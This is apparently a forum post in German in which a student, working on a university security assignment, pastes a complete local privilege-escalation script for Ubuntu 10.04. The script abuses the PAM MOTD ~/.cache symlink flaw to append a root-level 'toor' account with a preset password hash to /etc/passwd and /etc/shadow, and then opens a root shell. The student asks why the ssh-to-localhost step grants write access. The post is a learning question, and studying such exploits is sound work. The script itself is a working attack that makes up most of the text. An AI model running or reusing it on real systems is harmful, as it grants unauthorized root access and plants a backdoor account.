Für einen Computer-Sicherheitsauftrag an meiner Universität muss ich einen Exploit finden und verstehen, der unter Ubuntu 10.04 funktioniert. Ich habe bereits einen auf einem Ubuntu 10.04-Computer gefunden und getestet (den ich besitze).
Dies ist der Exploit, der als normaler Benutzer ausgeführt wird und Ihnen Root-Zugriff gewährt. Entnommen der Offensive Security-Website.
P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
[ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
[ -e "$1" ] || return 0
mv "$1"{,.bak} || return 1
echo "[*] Backuped $1"
}
restore() {
[ -e "$1" ] && rm -rf "$1"
[ -e "$1".bak ] || return 0
mv "$1"{.bak,} || return 1
echo "[*] Restored $1"
}
key_create() {
backup ~/.ssh/authorized_keys
ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
[ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
echo "[*] SSH key set up"
}
key_remove() {
rm -f "$KEY"
restore ~/.ssh/authorized_keys
echo "[*] SSH key removed"
}
own() {
[ -e ~/.cache ] && rm -rf ~/.cache
ln -s "$1" ~/.cache || return 1
echo "[*] spawn ssh"
ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
[ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
echo "[+] owned: $1"
}
bye() {
key_remove
exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor
Ich verstehe, warum es Dateien sichert und dass es einen Schlüssel für die ssh
spätere Verwendung generiert und dass es eine weiche Verknüpfung zwischen der Cache-Datei herstellt, bei der der Benutzer, der das Skript ausführt, Lese- und Schreibrechte hat, und der Datei, die Sie wollen das Eigentum übernehmen.
Das, was ich nicht verstehe, ist, warum das echo "$P" >> /etc/passwd
und echo "$S" >> /etc/shadow
für diese Dateien anstelle des Datei-Cache gemacht wird? War das nicht der Zweck der weichen Verknüpfung zwischen diesen Dateien und der Cache-Datei, um sie schreiben zu können?
Wie kann $USER
man an diesem Punkt im Skript die Erlaubnis haben, sowohl auf den Schatten als auch auf den Passwd zu schreiben? Die Antwort hat eindeutig mit dem an localhost erstellten SSH zu tun, aber warum gewährt dieses SSH diese Berechtigungen?
Danach bekomme ich, was passiert, sobald beide Dateien geändert wurden, hat der Benutzer toor Root-Berechtigungen und wird mit dem Befehl su aufgerufen. Mein Hauptproblem ist das Verständnis, mit dem ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
Sie Schreibberechtigungen sowohl für den Schatten als auch für den Pass erhalten können.